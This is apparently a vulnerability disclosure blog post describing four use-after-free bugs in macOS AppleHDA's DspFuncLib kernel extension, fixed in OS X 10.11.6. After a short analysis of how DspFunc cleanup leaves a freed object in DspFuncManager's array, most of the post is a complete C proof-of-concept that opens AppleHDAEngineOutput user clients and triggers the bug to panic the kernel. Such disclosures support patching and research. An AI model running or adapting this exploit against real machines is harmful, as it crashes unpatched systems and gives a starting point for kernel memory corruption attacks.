4 UAF vulnerabilities in DspFuncs which are patched in OSX 10.11.6

Description

DspFuncManager::process will call each DspFunc::process which may cleanup itself, but the cleanup here won’t remove the pointer which points to its own object  from the OSArray in DspFuncManager so that any access to the object in the OSArray will leads to UAF.

 

Affected OS and Module

OSX < 10.11.6

Module: DspFuncLib, AppleHDA

Test Environment:

  • VM Fusion OSX 10.11.3
  • MacBook Pro(Retina,2015)

 

 

Analysis

When DspFuncUserClient::createDspFunction or DspFuncUserClient::createDspFunctionWithInstance is called, DspFuncManager will set new created object in its OSArray:

 

UAF_DSP_CREATE_OBJECT

 

Then, when DspFuncManager::process is called(due to ClientStop or performClientIO), Each DspFunc::process is called. For example, DspFuncBuzzKill::process will be called if DspFuncBuzzKill object is currently in the OSArray introduced above.

UAF_DSP_CLEANUP

See the picture above. In DspFuncBuzzKill, if DspFunc::getInputBuffer returns 0, DspFuncBuzzKill::cleanup will be called and it will free its own class object. Please be noticed that DspFuncBuzzKill::cleanup won’t remove its object from OSArray in DspFuncManager. So later if any access to the OSArray(like DspFuncManager::getFunctionInstance), UAF will occur!

 

There are 4 DspFuncs which have the UAF problem, see table as below.

NO. DspFunc Name DspFuncObject
1 DspBuzzKill DspFucBuzzKill
2 DspCalibrationEQ DspFuncCalibrationEQ
3 DspControlFreak/ DspControlFreak4ch DspFuncControlFreak
4 DspXTC_2chIn_2chOut/ DspXTC_2chIn_4chOut DspFuncXTC

 

PoC

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <IOKit/IOKitLib.h>
io_connect_t openService(char* serviceName,uint32_t openType)
{
kern_return_t err;
io_connect_t conn = MACH_PORT_NULL;
do {
CFMutableDictionaryRef matching = IOServiceMatching(serviceName);
if(!matching){
printf(“unable to create service matching dictionary\n”);
break;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf(“no matches\n”);
break;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf(“unable to find service\n”);
break;
}
err = IOServiceOpen(service, mach_task_self(), openType, &conn);
if (err != KERN_SUCCESS){
printf(“unable to get user client connection\n”);
break;
}else{
printf(“got userclient connection: %x, type:%d\n”, conn, 0);
}
} while (0);
return conn;
}
uint32_t createDSPFunction(io_connect_t conn,char* DspFuncName)
{
uint64_t inputScalar[8];
uint32_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 0x1000;
uint64_t outputScalar[8];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 4;
memset(outputStruct, 0, 4);
inputStructCnt = (uint32_t)strlen(DspFuncName)+1;
memset(inputStruct, 0, inputStructCnt);
memcpy(inputStruct, DspFuncName, inputStructCnt-1);
IOConnectCallMethod(
conn,
0,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
return *(uint32_t*)outputStruct;
}
void HDAClientStart(io_connect_t conn)
{
uint64_t inputScalar[8];
uint32_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 0;
uint64_t outputScalar[8];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0;
IOConnectCallMethod(
conn,
3,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
}
void HDAClientStop(io_connect_t conn)
{
uint64_t inputScalar[8];
uint32_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 0;
uint64_t outputScalar[8];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0;
IOConnectCallMethod(
conn,
4,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
}
void removeAllFuncs(io_connect_t conn)
{
uint64_t inputScalar[8];
uint32_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 0;
uint64_t outputScalar[8];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0;
IOConnectCallMethod(
conn,
2,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
}
int main(){
io_connect_t conn = MACH_PORT_NULL;
io_connect_t conn_HDAEngine = MACH_PORT_NULL;
conn = openService((char*)”AppleHDAEngineOutput”,2);
if (conn == MACH_PORT_NULL) {
printf(“error open service 2!\n”);
}
conn_HDAEngine = openService((char*)”AppleHDAEngineOutput”,0);
if (conn == MACH_PORT_NULL) {
printf(“error open service 0!\n”);
}
HDAClientStart(conn_HDAEngine);
removeAllFuncs(conn);
//create object DspFuncBuzzKill
createDSPFunction(conn,(char*)”DspBuzzKill”);
//trigger DspFuncBuzzKill::process
HDAClientStop(conn_HDAEngine);
IOServiceClose(conn_HDAEngine);
IOServiceClose(conn);
sleep(1);
printf(“panic?\n”);
return 0;
}

发表评论